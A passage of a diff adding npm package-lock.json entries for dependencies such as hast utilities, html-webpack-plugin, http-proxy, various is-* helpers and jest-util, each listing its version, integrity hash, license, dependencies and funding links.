"funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/hast-util-to-jsx-runtime": { + "version": "2.3.6", + "integrity": "sha512-zl6s8LwNyo1P9uw+XJGvZtdFF1GdAkOg8ujOw+4Pyb76874fLps4ueHXDhXWdk6YHQ6OgUtinliG7RsYvCbbBg==", + "license": "MIT", + "dependencies": { + "@types/estree": "^1.0.0", + "@types/hast": "^3.0.0", + "@types/unist": "^3.0.0", + "comma-separated-tokens": "^2.0.0", + "devlop": "^1.0.0", + "estree-util-is-identifier-name": "^3.0.0", + "hast-util-whitespace": "^3.0.0", + "mdast-util-mdx-expression": "^2.0.0", + "mdast-util-mdx-jsx": "^3.0.0", + "mdast-util-mdxjs-esm": "^2.0.0", + "property-information": "^7.0.0", + "space-separated-tokens": "^2.0.0", + "style-to-js": "^1.0.0", + "unist-util-position": "^5.0.0", + "vfile-message": "^4.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/hast-util-to-parse5": { + "version": "8.0.1", + "integrity": "sha512-MlWT6Pjt4CG9lFCjiz4BH7l9wmrMkfkJYCxFwKQic8+RTZgWPuWxwAfjJElsXkex7DJjfSJsQIt931ilUgmwdA==", + "license": "MIT", + "dependencies": { + "@types/hast": "^3.0.0", + "comma-separated-tokens": "^2.0.0", + "devlop": "^1.0.0", + "property-information": "^7.0.0", + "space-separated-tokens": "^2.0.0", + "web-namespaces": "^2.0.0", + "zwitch": "^2.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/hast-util-to-text": { + "version": "4.0.2", + "integrity": "sha512-KK6y/BN8lbaq654j7JgBydev7wuNMcID54lkRav1P0CaE1e47P72AWWPiGKXTJU271ooYzcvTAn/Zt0REnvc7A==", + "license": "MIT", + "dependencies": { + "@types/hast": "^3.0.0", + "@types/unist": "^3.0.0", + "hast-util-is-element": "^3.0.0", + "unist-util-find-after": "^5.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/hast-util-whitespace": { + "version": "3.0.0", + "integrity": "sha512-88JUN06ipLwsnv+dVn+OIYOvAuvBMy/Qoi6O7mQHxdPXpjy+Cd6xRkWwux7DKO+4sYILtLBRIKgsdpS2gQc7qw==", + "license": "MIT", + "dependencies": { + "@types/hast": "^3.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/hastscript": { + "version": "9.0.1", + "integrity": "sha512-g7df9rMFX/SPi34tyGCyUBREQoKkapwdY/T04Qn9TDWfHhAYt4/I0gMVirzK5wEzeUqIjEB+LXC/ypb7Aqno5w==", + "license": "MIT", + "dependencies": { + "@types/hast": "^3.0.0", + "comma-separated-tokens": "^2.0.0", + "hast-util-parse-selector": "^4.0.0", + "property-information": "^7.0.0", + "space-separated-tokens": "^2.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/he": { + "version": "1.2.0", + "integrity": "sha512-F/1DnUGPopORZi0ni+CvrCgHQ5FyEAHRLSApuYWMmrbSwoN2Mn/7k+Gl38gJnR7yyDZk6WLXwiGod1JOWNDKGw==", + "license": "MIT", + "bin": { + "he": "bin/he" + } + }, + "node_modules/history": { + "version": "4.10.1", + "integrity": "sha512-36nwAD620w12kuzPAsyINPWJqlNbij+hpK1k9XRloDtym8mxzGYl2c17LnV6IAGB2Dmg4tEa7G7DlawS0+qjew==", + "license": "MIT", + "dependencies": { + "@babel/runtime": "^7.1.2", + "loose-envify": "^1.2.0", + "resolve-pathname": "^3.0.0", + "tiny-invariant": "^1.0.2", + "tiny-warning": "^1.0.0", + "value-equal": "^1.0.1" + } + }, + "node_modules/hoist-non-react-statics": { + "version": "3.3.2", + "integrity": "sha512-/gGivxi8JPKWNm/W0jSmzcMPpfpPLc3dY/6GxhX2hQ9iGj3aDfklV4ET7NjKpSinLpJ5vafa9iiGIEZg10SfBw==", + "license": "BSD-3-Clause", + "dependencies": { + "react-is": "^16.7.0" + } + }, + "node_modules/hpack.js": { + "version": "2.1.6", + "integrity": "sha512-zJxVehUdMGIKsRaNt7apO2Gqp0BdqW5yaiGHXXmbpvxgBYVZnAql+BJb4RO5ad2MgpbZKn5G6nMnegrH1FcNYQ==", + "license": "MIT", + "dependencies": { + "inherits": "^2.0.1", + "obuf": "^1.0.0", + "readable-stream": "^2.0.1", + "wbuf": "^1.1.0" + } + }, + "node_modules/hpack.js/node_modules/isarray": { + "version": "1.0.0", + "integrity": "sha512-VLghIWNM6ELQzo7zwmcg0NmTVyWKYjvIeM83yjp0wRDTmUnrM678fQbcKBo6n2CJEF0szoG//ytg+TKla89ALQ==", + "license": "MIT" + }, + "node_modules/hpack.js/node_modules/readable-stream": { + "version": "2.3.8", + "integrity": "sha512-8p0AUk4XODgIewSi0l8Epjs+EVnWiK7NoDIEGU0HhE7+ZyY8D1IMY7odu5lRrFXGg71L15KG8QrPmum45RTtdA==", + "license": "MIT", + "dependencies": { + "core-util-is": "~1.0.0", + "inherits": "~2.0.3", + "isarray": "~1.0.0", + "process-nextick-args": "~2.0.0", + "safe-buffer": "~5.1.1", + "string_decoder": "~1.1.1", + "util-deprecate": "~1.0.1" + } + }, + "node_modules/hpack.js/node_modules/safe-buffer": { + "version": "5.1.2", + "integrity": "sha512-Gd2UZBJDkXlY7GbJxfsE8/nvKkUEU1G38c1siN6QP6a9PT9MmHB8GnpscSmMJSoF8LOIrt8ud/wPtojys4G6+g==", + "license": "MIT" + }, + "node_modules/hpack.js/node_modules/string_decoder": { + "version": "1.1.1", + "integrity": "sha512-n/ShnvDi6FHbbVfviro+WojiFzv+s8MPMHBczVePfUpDJLwoLT0ht1l4YwBCbi8pJAveEEdnkHyPyTP/mzRfwg==", + "license": "MIT", + "dependencies": { + "safe-buffer": "~5.1.0" + } + }, + "node_modules/html-escaper": { + "version": "2.0.2", + "integrity": "sha512-H2iMtd0I4Mt5eYiapRdIDjp+XzelXQ0tFE4JS7YFwFevXXMmOp9myNrUvCg0D6ws8iqkRPBfKHgbwig1SmlLfg==", + "license": "MIT" + }, + "node_modules/html-minifier-terser": { + "version": "7.2.0", + "integrity": "sha512-tXgn3QfqPIpGl9o+K5tpcj3/MN4SfLtsx2GWwBC3SSd0tXQGyF3gsSqad8loJgKZGM3ZxbYDd5yhiBIdWpmvLA==", + "license": "MIT", + "dependencies": { + "camel-case": "^4.1.2", + "clean-css": "~5.3.2", + "commander": "^10.0.0", + "entities": "^4.4.0", + "param-case": "^3.0.4", + "relateurl": "^0.2.7", + "terser": "^5.15.1" + }, + "bin": { + "html-minifier-terser": "cli.js" + }, + "engines": { + "node": "^14.13.1 || >=16.0.0" + } + }, + "node_modules/html-minifier-terser/node_modules/commander": { + "version": "10.0.1", + "integrity": "sha512-y4Mg2tXshplEbSGzx7amzPwKKOCGuoSRP/CjEdwwk0FOGlUbq6lKuoyDZTNZkmxHdJtp54hdfY/JUrdL7Xfdug==", + "license": "MIT", + "engines": { + "node": ">=14" + } + }, + "node_modules/html-tags": { + "version": "3.3.1", + "integrity": "sha512-ztqyC3kLto0e9WbNp0aeP+M3kTt+nbaIveGmUxAtZa+8iFgKLUOD4YKM5j+f3QD89bra7UeumolZHKuOXnTmeQ==", + "license": "MIT", + "engines": { + "node": ">=8" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/html-void-elements": { + "version": "3.0.0", + "integrity": "sha512-bEqo66MRXsUGxWHV5IP0PUiAWwoEjba4VCzg0LjFJBpchPaTfyfCKTG6bc5F8ucKec3q5y6qOdGyYTSBEvhCrg==", + "license": "MIT", + "funding": { + "type": "github", + "url": "https://github.com/sponsors/wooorm" + } + }, + "node_modules/html-webpack-plugin": { + "version": "5.6.7", + "integrity": "sha512-md+vXtdCAe60s1k6AU3dUyMJnDxUyQAwfwPKoLisvgUF1IXjtlLsk2se54+qfL9Mdm26bbwvjJybpNx48NKRLw==", + "license": "MIT", + "dependencies": { + "@types/html-minifier-terser": "^6.0.0", + "html-minifier-terser": "^6.0.2", + "lodash": "^4.17.21", + "pretty-error": "^4.0.0", + "tapable": "^2.0.0" + }, + "engines": { + "node": ">=10.13.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/html-webpack-plugin" + }, + "peerDependencies": { + "@rspack/core": "0.x || 1.x", + "webpack": "^5.20.0" + }, + "peerDependenciesMeta": { + "@rspack/core": { + "optional": true + }, + "webpack": { + "optional": true + } + } + }, + "node_modules/html-webpack-plugin/node_modules/commander": { + "version": "8.3.0", + "integrity": "sha512-OkTL9umf+He2DZkUq8f8J9of7yL6RJKI24dVITBmNfZBmri9zYZQrKkuXiKhyfPSu8tUhnVBB1iKXevvnlR4Ww==", + "license": "MIT", + "engines": { + "node": ">= 12" + } + }, + "node_modules/html-webpack-plugin/node_modules/html-minifier-terser": { + "version": "6.1.0", + "integrity": "sha512-YXxSlJBZTP7RS3tWnQw74ooKa6L9b9i9QYXY21eUEvhZ3u9XLfv6OnFsQq6RxkhHygsaUMvYsZRV5rU/OVNZxw==", + "license": "MIT", + "dependencies": { + "camel-case": "^4.1.2", + "clean-css": "^5.2.2", + "commander": "^8.3.0", + "he": "^1.2.0", + "param-case": "^3.0.4", + "relateurl": "^0.2.7", + "terser": "^5.10.0" + }, + "bin": { + "html-minifier-terser": "cli.js" + }, + "engines": { + "node": ">=12" + } + }, + "node_modules/htmlparser2": { + "version": "8.0.2", + "integrity": "sha512-GYdjWKDkbRLkZ5geuHs5NY1puJ+PXwP7+fHPRz06Eirsb9ugf6d8kkXav6ADhcODhFFPMIXyxkxSuMf3D6NCFA==", + "funding": [ + "https://github.com/fb55/htmlparser2?sponsor=1", + { + "type": "github", + "url": "https://github.com/sponsors/fb55" + } + ], + "license": "MIT", + "dependencies": { + "domelementtype": "^2.3.0", + "domhandler": "^5.0.3", + "domutils": "^3.0.1", + "entities": "^4.4.0" + } + }, + "node_modules/http-cache-semantics": { + "version": "4.2.0", + "integrity": "sha512-dTxcvPXqPvXBQpq5dUr6mEMJX4oIEFv6bwom3FDwKRDsuIjjJGANqhBuoAn9c1RQJIdAKav33ED65E2ys+87QQ==", + "license": "BSD-2-Clause" + }, + "node_modules/http-deceiver": { + "version": "1.2.7", + "integrity": "sha512-LmpOGxTfbpgtGVxJrj5k7asXHCgNZp5nLfp+hWc8QQRqtb7fUy6kRY3BO1h9ddF6yIPYUARgxGOwB42DnxIaNw==", + "license": "MIT" + }, + "node_modules/http-errors": { + "version": "2.0.1", + "integrity": "sha512-4FbRdAX+bSdmo4AUFuS0WNiPz8NgFt+r8ThgNWmlrjQjt1Q7ZR9+zTlce2859x4KSXrwIsaeTqDoKQmtP8pLmQ==", + "license": "MIT", + "dependencies": { + "depd": "~2.0.0", + "inherits": "~2.0.4", + "setprototypeof": "~1.2.0", + "statuses": "~2.0.2", + "toidentifier": "~1.0.1" + }, + "engines": { + "node": ">= 0.8" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/express" + } + }, + "node_modules/http-parser-js": { + "version": "0.5.10", + "integrity": "sha512-Pysuw9XpUq5dVc/2SMHpuTY01RFl8fttgcyunjL7eEMhGM3cI4eOmiCycJDVCo/7O7ClfQD3SaI6ftDzqOXYMA==", + "license": "MIT" + }, + "node_modules/http-proxy": { + "version": "1.18.1", + "integrity": "sha512-7mz/721AbnJwIVbnaSv1Cz3Am0ZLT/UBwkC92VlxhXv/k/BBQfM2fXElQNC27BVGr0uwUpplYPQM9LnaBMR5NQ==", + "license": "MIT", + "dependencies": { + "eventemitter3": "^4.0.0", + "follow-redirects": "^1.0.0", + "requires-port": "^1.0.0" + }, + "engines": { + "node": ">=8.0.0" + } + }, + "node_modules/http-proxy-middleware": { + "version": "2.0.10", + "integrity": "sha512-RKzRWNPxUZqbuk3BC5mGVJbBnWgr+diEnjJexIOytFbBzDy88Fbh/YvBr3DsNrl1jYAfjWfpATEv0NO35FDuPQ==", + "license": "MIT", + "dependencies": { + "@types/http-proxy": "^1.17.8", + "http-proxy": "^1.18.1", + "is-glob": "^4.0.1", + "is-plain-obj": "^3.0.0", + "micromatch": "^4.0.2" + }, + "engines": { + "node": ">=12.0.0" + }, + "peerDependencies": { + "@types/express": "^4.17.13" + }, + "peerDependenciesMeta": { + "@types/express": { + "optional": true + } + } + }, + "node_modules/http-proxy-middleware/node_modules/is-plain-obj": { + "version": "3.0.0", + "integrity": "sha512-gwsOE28k+23GP1B6vFl1oVh/WOzmawBrKwo5Ev6wMKzPkaXaCDIQKzLnvsA42DRlbVTWorkgTKIviAKCWkfUwA==", + "license": "MIT", + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/http2-wrapper": { + "version": "2.2.1", + "integrity": "sha512-V5nVw1PAOgfI3Lmeaj2Exmeg7fenjhRUgz1lPSezy1CuhPYbgQtbQj4jZfEAEMlaL+vupsvhjqCyjzob0yxsmQ==", + "license": "MIT", + "dependencies": { + "quick-lru": "^5.1.1", + "resolve-alpn": "^1.2.0" + }, + "engines": { + "node": ">=10.19.0" + } + }, + "node_modules/human-signals": { + "version": "2.1.0", + "integrity": "sha512-B4FFZ6q/T2jhhksgkbEW3HBvWIfDW85snkQgawt07S7J5QXTk6BkNV+0yAeZrM5QpMAdYlocGoljn0sJ/WQkFw==", + "license": "Apache-2.0", + "engines": { + "node": ">=10.17.0" + } + }, + "node_modules/hyperdyperid": { + "version": "1.2.0", + "integrity": "sha512-Y93lCzHYgGWdrJ66yIktxiaGULYc6oGiABxhcO5AufBeOyoIdZF7bIfLaOrbM0iGIOXQQgxxRrFEnb+Y6w1n4A==", + "license": "MIT", + "engines": { + "node": ">=10.18" + } + }, + "node_modules/iconv-lite": { + "version": "0.4.24", + "integrity": "sha512-v3MXnZAcvnywkTUEZomIActle7RXXeedOR31wwl7VlyoXO4Qi9arvSenNQWne1TcRwhCL1HwLI21bEqdpj8/rA==", + "license": "MIT", + "dependencies": { + "safer-buffer": ">= 2.1.2 < 3" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/icss-utils": { + "version": "5.1.0", + "integrity": "sha512-soFhflCVWLfRNOPU3iv5Z9VUdT44xFRbzjLsEzSr5AQmgqPMTHdU3PMT1Cf1ssx8fLNJDA1juftYl+PUcv3MqA==", + "license": "ISC", + "engines": { + "node": "^10 || ^12 || >= 14" + }, + "peerDependencies": { + "postcss": "^8.1.0" + } + }, + "node_modules/ignore": { + "version": "5.3.2", + "integrity": "sha512-hsBTNUqQTDwkWtcdYI2i06Y/nUBEsNEDJKjWdigLvegy8kDuJAS8uRlpkkcQpyEXL0Z/pjDy5HBmMjRCJ2gq+g==", + "license": "MIT", + "engines": { + "node": ">= 4" + } + }, + "node_modules/image-size": { + "version": "2.0.2", + "integrity": "sha512-IRqXKlaXwgSMAMtpNzZa1ZAe8m+Sa1770Dhk8VkSsP9LS+iHD62Zd8FQKs8fbPiagBE7BzoFX23cxFnwshpV6w==", + "license": "MIT", + "bin": { + "image-size": "bin/image-size.js" + }, + "engines": { + "node": ">=16.x" + } + }, + "node_modules/import-fresh": { + "version": "3.3.1", + "integrity": "sha512-TR3KfrTZTYLPB6jUjfx6MF9WcWrHL9su5TObK4ZkYgBdWKPOFoSoQIdEuTuR82pmtxH2spWG9h6etwfr1pLBqQ==", + "license": "MIT", + "dependencies": { + "parent-module": "^1.0.0", + "resolve-from": "^4.0.0" + }, + "engines": { + "node": ">=6" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/import-lazy": { + "version": "4.0.0", + "integrity": "sha512-rKtvo6a868b5Hu3heneU+L4yEQ4jYKLtjpnPeUdK7h0yzXGmyBTypknlkCvHFBqfX9YlorEiMM6Dnq/5atfHkw==", + "license": "MIT", + "engines": { + "node": ">=8" + } + }, + "node_modules/imurmurhash": { + "version": "0.1.4", + "integrity": "sha512-JmXMZ6wuvDmLiHEml9ykzqO6lwFbof0GG4IkcGaENdCRDDmMVnny7s5HsIgHCbaq0w2MyPhDqkhTUgS2LU2PHA==", + "license": "MIT", + "engines": { + "node": ">=0.8.19" + } + }, + "node_modules/indent-string": { + "version": "4.0.0", + "integrity": "sha512-EdDDZu4A2OyIK7Lr/2zG+w5jmbuk1DVBnEwREQvBzspBJkCEbRa8GxU1lghYcaGJCnRWibjDXlq779X1/y5xwg==", + "license": "MIT", + "engines": { + "node": ">=8" + } + }, + "node_modules/infima": { + "version": "0.2.0-alpha.45", + "integrity": "sha512-uyH0zfr1erU1OohLk0fT4Rrb94AOhguWNOcD9uGrSpRvNB+6gZXUoJX5J0NtvzBO10YZ9PgvA4NFgt+fYg8ojw==", + "license": "MIT", + "engines": { + "node": ">=12" + } + }, + "node_modules/inherits": { + "version": "2.0.4", + "integrity": "sha512-k/vGaX4/Yla3WzyMCvTQOXYeIHvqOKtnqBduzTHpzpQZzAskKMhZ2K+EnBiSM9zGSoIFeMpXKxa4dYeZIQqewQ==", + "license": "ISC" + }, + "node_modules/ini": { + "version": "2.0.0", + "integrity": "sha512-7PnF4oN3CvZF23ADhA5wRaYEQpJ8qygSkbtTXWBeXWXmEVRXK+1ITciHWwHhsjv1TmW0MgacIv6hEi5pX5NQdA==", + "license": "ISC", + "engines": { + "node": ">=10" + } + }, + "node_modules/inline-style-parser": { + "version": "0.2.7", + "integrity": "sha512-Nb2ctOyNR8DqQoR0OwRG95uNWIC0C1lCgf5Naz5H6Ji72KZ8OcFZLz2P5sNgwlyoJ8Yif11oMuYs5pBQa86csA==", + "license": "MIT" + }, + "node_modules/invariant": { + "version": "2.2.4", + "integrity": "sha512-phJfQVBuaJM5raOpJjSfkiD6BpbCE4Ns//LaXl6wGYtUBY83nWS6Rf9tXm2e8VaK60JEjYldbPif/A2B1C2gNA==", + "license": "MIT", + "dependencies": { + "loose-envify": "^1.0.0" + } + }, + "node_modules/ipaddr.js": { + "version": "2.4.0", + "integrity": "sha512-9VGk3HGanVE6JoZXHiCpnGy5X0jYDnN4EA4lntFPj+1vIWlFhIylq2CrrCOJH9EAhc5CYhq18F2Av2tgoAPsYQ==", + "license": "MIT", + "engines": { + "node": ">= 10" + } + }, + "node_modules/is-alphabetical": { + "version": "2.0.1", + "integrity": "sha512-FWyyY60MeTNyeSRpkM2Iry0G9hpr7/9kD40mD/cGQEuilcZYS4okz8SN2Q6rLCJ8gbCt6fN+rC+6tMGS99LaxQ==", + "license": "MIT", + "funding": { + "type": "github", + "url": "https://github.com/sponsors/wooorm" + } + }, + "node_modules/is-alphanumerical": { + "version": "2.0.1", + "integrity": "sha512-hmbYhX/9MUMF5uh7tOXyK/n0ZvWpad5caBA17GsC6vyuCqaWliRG5K1qS9inmUhEMaOBIW7/whAnSwveW/LtZw==", + "license": "MIT", + "dependencies": { + "is-alphabetical": "^2.0.0", + "is-decimal": "^2.0.0" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/wooorm" + } + }, + "node_modules/is-arrayish": { + "version": "0.2.1", + "integrity": "sha512-zz06S8t0ozoDXMG+ube26zeCTNXcKIPJZJi8hBrF4idCLms4CG9QtK7qBl1boi5ODzFpjswb5JPmHCbMpjaYzg==", + "license": "MIT" + }, + "node_modules/is-binary-path": { + "version": "2.1.0", + "integrity": "sha512-ZMERYes6pDydyuGidse7OsHxtbI7WVeUEozgR/g7rd0xUimYNlvZRE/K2MgZTjWy725IfelLeVcEM97mmtRGXw==", + "license": "MIT", + "dependencies": { + "binary-extensions": "^2.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/is-ci": { + "version": "3.0.1", + "integrity": "sha512-ZYvCgrefwqoQ6yTyYUbQu64HsITZ3NfKX1lzaEYdkTDcfKzzCI/wthRRYKkdjHKFVgNiXKAKm65Zo1pk2as/QQ==", + "license": "MIT", + "dependencies": { + "ci-info": "^3.2.0" + }, + "bin": { + "is-ci": "bin.js" + } + }, + "node_modules/is-core-module": { + "version": "2.16.2", + "integrity": "sha512-evOr8xfXKxE6qSR0hSXL2r3sd7ALj8+7jQEUvPYcm5sgZFdJ+AYzT6yNmJenvIYQBgIGwfwz08sL8zoL7yq2BA==", + "license": "MIT", + "dependencies": { + "hasown": "^2.0.3" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/is-decimal": { + "version": "2.0.1", + "integrity": "sha512-AAB9hiomQs5DXWcRB1rqsxGUstbRroFOPPVAomNk/3XHR5JyEZChOyTWe2oayKnsSsr/kcGqF+z6yuH6HHpN0A==", + "license": "MIT", + "funding": { + "type": "github", + "url": "https://github.com/sponsors/wooorm" + } + }, + "node_modules/is-docker": { + "version": "2.2.1", + "integrity": "sha512-F+i2BKsFrH66iaUFc0woD8sLy8getkwTwtOBjvs56Cx4CgJDeKQeqfz8wAYiSb8JOprWhHH5p77PbmYCvvUuXQ==", + "license": "MIT", + "bin": { + "is-docker": "cli.js" + }, + "engines": { + "node": ">=8" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/is-extendable": { + "version": "0.1.1", + "integrity": "sha512-5BMULNob1vgFX6EjQw5izWDxrecWK9AM72rugNr0TFldMOi0fj6Jk+zeKIt0xGj4cEfQIJth4w3OKWOJ4f+AFw==", + "license": "MIT", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/is-extglob": { + "version": "2.1.1", + "integrity": "sha512-SbKbANkN603Vi4jEZv49LeVJMn4yGwsbzZworEoyEiutsN3nJYdbO36zfhGJ6QEDpOZIFkDtnq5JRxmvl3jsoQ==", + "license": "MIT", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/is-fullwidth-code-point": { + "version": "3.0.0", + "integrity": "sha512-zymm5+u+sCsSWyD9qNaejV3DFvhCKclKdizYaJUuHA83RLjb7nSuGnddCHGv0hk+KY7BMAlsWeK4Ueg6EV6XQg==", + "license": "MIT", + "engines": { + "node": ">=8" + } + }, + "node_modules/is-glob": { + "version": "4.0.3", + "integrity": "sha512-xelSayHH36ZgE7ZWhli7pW34hNbNl8Ojv5KVmkJD4hBdD3th8Tfk9vYasLM+mXWOZhFkgZfxhLSnrwRr4elSSg==", + "license": "MIT", + "dependencies": { + "is-extglob": "^2.1.1" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/is-hexadecimal": { + "version": "2.0.1", + "integrity": "sha512-DgZQp241c8oO6cA1SbTEWiXeoxV42vlcJxgH+B3hi1AiqqKruZR3ZGF8In3fj4+/y/7rHvlOZLZtgJ/4ttYGZg==", + "license": "MIT", + "funding": { + "type": "github", + "url": "https://github.com/sponsors/wooorm" + } + }, + "node_modules/is-inside-container": { + "version": "1.0.0", + "integrity": "sha512-KIYLCCJghfHZxqjYBE7rEy0OBuTd5xCHS7tHVgvCLkx7StIoaxwNW3hCALgEUjFfeRk+MG/Qxmp/vtETEF3tRA==", + "license": "MIT", + "dependencies": { + "is-docker": "^3.0.0" + }, + "bin": { + "is-inside-container": "cli.js" + }, + "engines": { + "node": ">=14.16" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/is-inside-container/node_modules/is-docker": { + "version": "3.0.0", + "integrity": "sha512-eljcgEDlEns/7AXFosB5K/2nCM4P7FQPkGc/DWLy5rmFEWvZayGrik1d9/QIY5nJ4f9YsVvBkA6kJpHn9rISdQ==", + "license": "MIT", + "bin": { + "is-docker": "cli.js" + }, + "engines": { + "node": "^12.20.0 || ^14.13.1 || >=16.0.0" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/is-installed-globally": { + "version": "0.4.0", + "integrity": "sha512-iwGqO3J21aaSkC7jWnHP/difazwS7SFeIqxv6wEtLU8Y5KlzFTjyqcSIT0d8s4+dDhKytsk9PJZ2BkS5eZwQRQ==", + "license": "MIT", + "dependencies": { + "global-dirs": "^3.0.0", + "is-path-inside": "^3.0.2" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/is-network-error": { + "version": "1.3.2", + "integrity": "sha512-PhBY86zaxNZUuWP6h13Vu5oFe0XY6/UlKzQnYFELzGVHygP3MxmvTfYSG7GN3aIab/iWudSMgjSnG9Dq+nHrgA==", + "license": "MIT", + "engines": { + "node": ">=16" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/is-npm": { + "version": "6.1.0", + "integrity": "sha512-O2z4/kNgyjhQwVR1Wpkbfc19JIhggF97NZNCpWTnjH7kVcZMUrnut9XSN7txI7VdyIYk5ZatOq3zvSuWpU8hoA==", + "license": "MIT", + "engines": { + "node": "^12.20.0 || ^14.13.1 || >=16.0.0" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/is-number": { + "version": "7.0.0", + "integrity": "sha512-41Cifkg6e8TylSpdtTpeLVMqvSBEVzTttHvERD741+pnZ8ANv0004MRL43QKPDlK9cGvNp6NZWZUBlbGXYxxng==", + "license": "MIT", + "engines": { + "node": ">=0.12.0" + } + }, + "node_modules/is-obj": { + "version": "1.0.1", + "integrity": "sha512-l4RyHgRqGN4Y3+9JHVrNqO+tN0rV5My76uW5/nuO4K1b6vw5G8d/cmFjP9tRfEsdhZNt0IFdZuK/c2Vr4Nb+Qg==", + "license": "MIT", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/is-path-inside": { + "version": "3.0.3", + "integrity": "sha512-Fd4gABb+ycGAmKou8eMftCupSir5lRxqf4aD/vd0cD2qc4HL07OjCeuHMr8Ro4CoMaeCKDB0/ECBOVWjTwUvPQ==", + "license": "MIT", + "engines": { + "node": ">=8" + } + }, + "node_modules/is-plain-obj": { + "version": "4.1.0", + "integrity": "sha512-+Pgi+vMuUNkJyExiMBt5IlFoMyKnr5zhJ4Uspz58WOhBF5QoIZkFyNHIbBAtHwzVAgk5RtndVNsDRN61/mmDqg==", + "license": "MIT", + "engines": { + "node": ">=12" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/is-plain-object": { + "version": "2.0.4", + "integrity": "sha512-h5PpgXkWitc38BBMYawTYMWJHFZJVnBquFE57xFpjB8pJFiF6gZ+bU+WyI/yqXiFR5mdLsgYNaPe8uao6Uv9Og==", + "license": "MIT", + "dependencies": { + "isobject": "^3.0.1" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/is-regexp": { + "version": "1.0.0", + "integrity": "sha512-7zjFAPO4/gwyQAAgRRmqeEeyIICSdmCqa3tsVHMdBzaXXRiqopZL4Cyghg/XulGWrtABTpbnYYzzIRffLkP4oA==", + "license": "MIT", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/is-stream": { + "version": "2.0.1", + "integrity": "sha512-hFoiJiTl63nn+kstHGBtewWSKnQLpyb155KHheA1l39uvtO9nWIop1p3udqPcUd/xbF1VLMO4n7OI6p7RbngDg==", + "license": "MIT", + "engines": { + "node": ">=8" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/is-typedarray": { + "version": "1.0.0", + "integrity": "sha512-cyA56iCMHAh5CdzjJIa4aohJyeO1YbwLi3Jc35MmRU6poroFjIGZzUzupGiRPOjgHg9TLu43xbpwXk523fMxKA==", + "license": "MIT" + }, + "node_modules/is-wsl": { + "version": "2.2.0", + "integrity": "sha512-fKzAra0rGJUUBwGBgNkHZuToZcn+TtXHpeCgmkMJMMYx1sQDYaCSyjJBSCa2nH1DGm7s3n1oBnohoVTBaN7Lww==", + "license": "MIT", + "dependencies": { + "is-docker": "^2.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/is-yarn-global": { + "version": "0.4.1", + "integrity": "sha512-/kppl+R+LO5VmhYSEWARUFjodS25D68gvj8W7z0I7OWhUla5xWu8KL6CtB2V0R6yqhnRgbcaREMr4EEM6htLPQ==", + "license": "MIT", + "engines": { + "node": ">=12" + } + }, + "node_modules/isarray": { + "version": "0.0.1", + "integrity": "sha512-D2S+3GLxWH+uhrNEcoh/fnmYeP8E8/zHl644d/jdA0g2uyXvy3sb0qxotE+ne0LtccHknQzWwZEzhak7oJ0COQ==", + "license": "MIT" + }, + "node_modules/isexe": { + "version": "2.0.0", + "integrity": "sha512-RHxMLp9lnKHGHRng9QFhRCMbYAcVpn69smSGcq3f36xjgVVWThj4qqLbTLlq7Ssj8B+fIQ1EuCEGI2lKsyQeIw==", + "license": "ISC" + }, + "node_modules/isobject": { + "version": "3.0.1", + "integrity": "sha512-WhB9zCku7EGTj/HQQRz5aUQEUeoQZH2bWcltRErOpymJ4boYE6wL9Tbr23krRPSZ+C5zqNSrSw+Cc7sZZ4b7vg==", + "license": "MIT", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/jest-util": { + "version": "29.7.0", + "integrity": "sha512-z6EbKajIpqGKU56y5KBUgy1dt1ihhQJgWzUlZHArA/+X2ad7Cb5iF+AK1EWVL/Bo7Rz9uurpqw6SiBCefUbCGA==", + "license": "MIT", + "dependencies": { + "@jest/types": "^29.6.3", + "@types/node": "*", + "chalk": "^4.0.0", + "ci-info": "^3.2.0", + "graceful-fs": "^4.2.9", + "picomatch": "^2.2.3" + }, + "engines": { + "node": "^14.15.0 || ^16.10.0 || >=18.0.0" + } + }, + "node_modules/jest-worker": { + "version": "29.7.0", + "integrity": "sha512-eIz2msL/EzL9UFTFFx7jBTkeZfku0yUAyZZZmJ93H2TYEiroIx2PQjEXcwYtYl8zXCxb+PAmA2hLIt/6ZEkPHw==", + "license": "MIT", + "dependencies": { + "@types/node": "*", + "jest-util": "^29.7.0", + "merge-stream": 